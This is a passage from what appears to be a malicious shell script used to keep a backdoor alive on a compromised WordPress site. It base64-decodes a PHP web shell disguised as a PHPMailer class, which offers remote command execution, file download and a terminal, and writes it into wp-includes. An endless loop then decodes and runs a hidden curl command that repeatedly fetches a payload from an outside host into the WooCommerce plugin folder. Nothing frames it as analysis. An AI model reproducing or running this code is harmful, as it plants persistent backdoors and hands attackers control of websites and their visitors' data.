C4gIic+PHNwYW4+RG93bmxvYWQgZnJvbSBVUkw6PC9zcGFuPiIgLiAkd3JpdGFibGUgLiAiPGJyPjxkaXYgc3R5bGU9J2Rpc3BsYXk6ZmxleDthbGlnbi1pdGVtczpjZW50ZXI7Z2FwOjNweDsnPjxpbnB1dCB0eXBlPSd0ZXh0JyBjbGFzcz0ndG9vbHNJbnAnIHN0eWxlPSdmbGV4OjE7JyBwbGFjZWhvbGRlcj0naHR0cHM6Ly9leGFtcGxlLmdvLmlkL2ZpbGVzL215cHJpdmF0ZWxvbGNhdHMudHh0JyBuYW1lPSd1cmwnIHJlcXVpcmVkPjxpbnB1dCB0eXBlPSd0ZXh0JyBzdHlsZT0nd2lkdGg6MjAwcHg7JyBuYW1lPSdvdXRwdXRfZmlsZW5hbWUnIHBsYWNlaG9sZGVyPSdzYXZlZC50eHQnIHJlcXVpcmVkPjxzZWxlY3QgbmFtZT0nbWV0aG9kJyBzdHlsZT0nd2lkdGg6MTYwcHg7Jz48b3B0aW9uIHZhbHVlPSdmaWxlX2dldF9jb250ZW50cyc+ZmlsZV9nZXRfY29udGVudHM8L29wdGlvbj48b3B0aW9uIHZhbHVlPSdjdXJsJz5jVVJMPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nZm9wZW4nPmZvcGVuPC9vcHRpb24+PG9wdGlvbiB2YWx1ZT0nY29weSc+Y29weTwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J3N0cmVhbV9jb250ZXh0Jz5zdHJlYW1fY29udGV4dDwvb3B0aW9uPjxvcHRpb24gdmFsdWU9J2ZpbGUnPmZpbGU8L29wdGlvbj48L3NlbGVjdD48aW5wdXQgdHlwZT1zdWJtaXQgdmFsdWU9J1NhdmUhJz48L2Rpdj48L2Zvcm0+PC90ZD48L3RyPjwvdGFibGU+PC9kaXY+PC9ib2R5PjwvaHRtbD4iOwogICAgfQoKICAgIHByb3RlY3RlZCBmdW5jdGlvbiBmb3JtYXRTaXplKCRzaXplLCAkcHJlY2lzaW9uID0gbnVsbCkKICAgIHsKICAgICAgICBpZiAoaXNfaW50KCRzaXplKSkgJHNpemUgPSBzcHJpbnRmKCIldSIsICRzaXplKTsKICAgICAgICBpZiAoJHNpemUgPj0gMTA3Mzc0MTgyNCkgcmV0dXJuIHNwcmludGYoIiUxLjJmIiwgJHNpemUgLyAxMDczNzQxODI0KSAuICIgR0IiOwogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTA0ODU3NikgcmV0dXJuIHNwcmludGYoIiUxLjJmIiwgJHNpemUgLyAxMDQ4NTc2KSAuICIgTUIiOwogICAgICAgIGVsc2VpZiAoJHNpemUgPj0gMTAyNCkgcmV0dXJuIHNwcmludGYoIiUxLjJmIiwgJHNpemUgLyAxMDI0KSAuICIgS0IiOwogICAgICAgIGVsc2UgcmV0dXJuICRzaXplIC4gIiBCIjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gZ2V0UGVybXMoJG1vZGUpCiAgICB7CiAgICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT0gMHhDMDAwKSAkcCA9ICJzIjsgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09IDB4QTAwMCkgJHAgPSAibCI7IGVsc2VpZiAoKCRtb2RlICYgMHg4MDAwKSA9PSAweDgwMDApICRwID0gIi0iOyBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT0gMHg2MDAwKSAkcCA9ICJiIjsgZWxzZWlmICgoJG1vZGUgJiAweDQwMDApID09IDB4NDAwMCkgJHAgPSAiZCI7IGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PSAweDIwMDApICRwID0gImMiOyBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT0gMHgxMDAwKSAkcCA9ICJwIjsgZWxzZSAkcCA9ICJ1IjsKICAgICAgICAkcCAuPSAkbW9kZSAmIDB4MDEwMCA/ICJyIiA6ICItIjsgJHAgLj0gJG1vZGUgJiAweDAwODAgPyAidyIgOiAiLSI7ICRwIC49ICRtb2RlICYgMHgwMDQwID8gKCRtb2RlICYgMHgwODAwID8gInMiIDogIngiKSA6ICgkbW9kZSAmIDB4MDgwMCA/ICJTIiA6ICItIik7CiAgICAgICAgJHAgLj0gJG1vZGUgJiAweDAwMjAgPyAiciIgOiAiLSI7ICRwIC49ICRtb2RlICYgMHgwMDEwID8gInciIDogIi0iOyAkcCAuPSAkbW9kZSAmIDB4MDAwOCA/ICgkbW9kZSAmIDB4MDQwMCA/ICJzIiA6ICJ4IikgOiAoJG1vZGUgJiAweDA0MDAgPyAiUyIgOiAiLSIpOwogICAgICAgICRwIC49ICRtb2RlICYgMHgwMDA0ID8gInIiIDogIi0iOyAkcCAuPSAkbW9kZSAmIDB4MDAwMiA/ICJ3IiA6ICItIjsgJHAgLj0gJG1vZGUgJiAweDAwMDEgPyAoJG1vZGUgJiAweDAyMDAgPyAidCIgOiAieCIpIDogKCRtb2RlICYgMHgwMjAwID8gIlQiIDogIi0iKTsKICAgICAgICByZXR1cm4gJHA7CiAgICB9CgogICAgcHJvdGVjdGVkIGZ1bmN0aW9uIGdldFBlcm1zQ29sb3IoJHBhdGgpCiAgICB7CiAgICAgICAgaWYgKCFAaXNfcmVhZGFibGUoJHBhdGgpKSByZXR1cm4gIjxmb250IGNvbG9yPSNGRjAwMDA+IiAuICR0aGlzLT5nZXRQZXJtcyhAZmlsZXBlcm1zKCRwYXRoKSkgLiAiPC9mb250PiI7CiAgICAgICAgZWxzZWlmICghQGlzX3dyaXRhYmxlKCRwYXRoKSkgcmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iIC4gJHRoaXMtPmdldFBlcm1zKEBmaWxlcGVybXMoJHBhdGgpKSAuICI8L2ZvbnQ+IjsKICAgICAgICBlbHNlIHJldHVybiAiPGZvbnQgY29sb3I9IzI1ZmYwMD4iIC4gJHRoaXMtPmdldFBlcm1zKEBmaWxlcGVybXMoJHBhdGgpKSAuICI8L2ZvbnQ+IjsKICAgIH0KCiAgICBwcm90ZWN0ZWQgZnVuY3Rpb24gc2NhbkRpcmVjdG9yeSgkcGF0aCwgJHNvcnRpbmcgPSAidXZ4ZiIpCiAgICB7CiAgICAgICAgaWYgKGZ1bmN0aW9uX2V4aXN0cygic2NhbmRpciIpKSByZXR1cm4gQHNjYW5kaXIoJHBhdGgpOwogICAgICAgIGlmICgkaGFuZGxlID0gQG9wZW5kaXIoJHBhdGgpKSB7ICRmaWxlcyA9IFtdOyB3aGlsZSAoZmFsc2UgIT09ICgkZmlsZSA9IEByZWFkZGlyKCRoYW5kbGUpKSkgJGZpbGVzW10gPSAkZmlsZTsgQGNsb3NlZGlyKCRoYW5kbGUpOyByZXR1cm4gJGZpbGVzOyB9CiAgICAgICAgcmV0dXJuIGZhbHNlOwogICAgfQp9CgokbWFpbGVyID0gbmV3IFBIUE1haWxlcigpOwokbWFpbGVyLT52YWxpZGF0ZUFkZHJlc3MoKTsKJG1haWxlci0+cHJlU2VuZCgpOwoKaWYgKEBpc3NldCgkX1BPU1RbImEiXSkpIHsKICAgIHN3aXRjaCAoJF9QT1NUWyJhIl0pIHsKICAgICAgICBjYXNlICJmbSI6ICRtYWlsZXItPmhlYWRlckxpbmUoKTsgJG1haWxlci0+YWRkQXR0YWNobWVudCgpOyAkbWFpbGVyLT5lbmRCb3VuZGFyeSgpOyBicmVhazsKICAgICAgICBjYXNlICJmdCI6CiAgICAgICAgICAgIGlmIChAaXNzZXQoJF9QT1NUWyJwIl0pICYmIHN0cnRvbG93ZXIoJF9QT1NUWyJwIl0pID09ICJkb3dubG9hZCIpICRtYWlsZXItPmFkZFN0cmluZ0F0dGFjaG1lbnQoKTsKICAgICAgICAgICAgZWxzZWlmIChAaXNzZXQoJF9QT1NUWyJ4Il0pICYmIHN0cnRvbG93ZXIoJF9QT1NUWyJ4Il0pID09ICJkb3dubG9hZCIpICRtYWlsZXItPmFkZFN0cmluZ0F0dGFjaG1lbnQoKTsKICAgICAgICAgICAgZWxzZSB7ICRtYWlsZXItPmhlYWRlckxpbmUoKTsgJG1haWxlci0+YWRkU3RyaW5nQXR0YWNobWVudCgpOyAkbWFpbGVyLT5lbmRCb3VuZGFyeSgpOyB9CiAgICAgICAgICAgIGJyZWFrOwogICAgICAgIGNhc2UgImdzIjogJG1haWxlci0+aGVhZGVyTGluZSgpOyAkbWFpbGVyLT5zbXRwQ29ubmVjdCgpOyAkbWFpbGVyLT5lbmRCb3VuZGFyeSgpOyBicmVhazsKICAgICAgICBjYXNlICJjbG9uZSI6ICRtYWlsZXItPmhlYWRlckxpbmUoKTsgJG1haWxlci0+Y3JlYXRlQm9keSgpOyAkbWFpbGVyLT5lbmRCb3VuZGFyeSgpOyBicmVhazsKICAgICAgICBjYXNlICJ0ZXJtdjQiOiAkbWFpbGVyLT5oZWFkZXJMaW5lKCk7ICRtYWlsZXItPnRlcm1pbmFsVjQoKTsgJG1haWxlci0+ZW5kQm91bmRhcnkoKTsgYnJlYWs7CiAgICAgICAgY2FzZSAic2VhcmNoIjogJG1haWxlci0+aGVhZGVyTGluZSgpOyAkbWFpbGVyLT5nZXRMYXN0TWVzc2FnZUlEKCk7ICRtYWlsZXItPmVuZEJvdW5kYXJ5KCk7IGJyZWFrOwogICAgICAgIGNhc2UgInByb2Ntb24iOiAkbWFpbGVyLT5oZWFkZXJMaW5lKCk7ICRtYWlsZXItPnByb2Nlc3NNb25pdG9yKCk7ICRtYWlsZXItPmVuZEJvdW5kYXJ5KCk7IGJyZWFrOwogICAgICAgIGRlZmF1bHQ6ICRtYWlsZXItPmhlYWRlckxpbmUoKTsgJG1haWxlci0+YWRkQXR0YWNobWVudCgpOyAkbWFpbGVyLT5lbmRCb3VuZGFyeSgpOyBicmVhazsKICAgIH0KfSBlbHNlaWYgKCFAaXNzZXQoJF9QT1NUWyJhIl0pKSB7CiAgICAkbWFpbGVyLT5oZWFkZXJMaW5lKCk7ICRtYWlsZXItPmFkZEF0dGFjaG1lbnQoKTsgJG1haWxlci0+ZW5kQm91bmRhcnkoKTsKICAgIGlmIChpc3NldCgkX1BPU1RbJ3N1YmNtZCddKSkgewogICAgICAgICRjd2QgPSAkbWFpbGVyLT5tYWlsUGF0aDsgQGNoZGlyKCRjd2QpOyBlY2hvICI8cHJlIGNsYXNzPSd0ZXh0LXdoaXRlJz48c3Bhbj5DV0Q6ICIgLiBodG1sc3BlY2lhbGNoYXJzKCRjd2QpIC4gIjwvc3Bhbj48YnI+IjsKICAgICAgICAkaW5wdXQgPSAkX1BPU1RbJ2NvbW1hbmQnXTsgJG91dHB1dCA9ICRtYWlsZXItPmV4ZWN1dGVDb21tYW5kKCRpbnB1dCk7CiAgICAgICAgZWNobyAiPGJyPjxjZW50ZXI+PGI+UXVpY2sgVGVybWluYWwgT3V0cHV0PC9iPjwvY2VudGVyPjxicj4iIC4gaHRtbHNwZWNpYWxjaGFycygkb3V0cHV0KSAuICI8L3ByZT4iOyBleGl0OwogICAgfQp9Cg==' | base64 -d > '/home/vitanhod/public_html/wp-includes/php-compat/lingling.php'; chmod 0644 '/home/vitanhod/public_html/wp-includes/php-compat/lingling.php'; fi
while true; do $(echo "Y3VybCAtc0wgLW8gJy9ob21lL3ZpdGFuaG9kL3B1YmxpY19odG1sL3dwLWNvbnRlbnQvcGx1Z2lucy93b29jb21tZXJjZS9zcmMvUHJveGllcy9pbml0LnBocCcgJ2h0dHA6Ly9ib25jaGlsaW1heC5uZXQvcGFzdGUvcmF3L2VDdXNndzcn" | base64 --decode) >/dev/null 2>&1; sleep 1942; done
sleep 600
done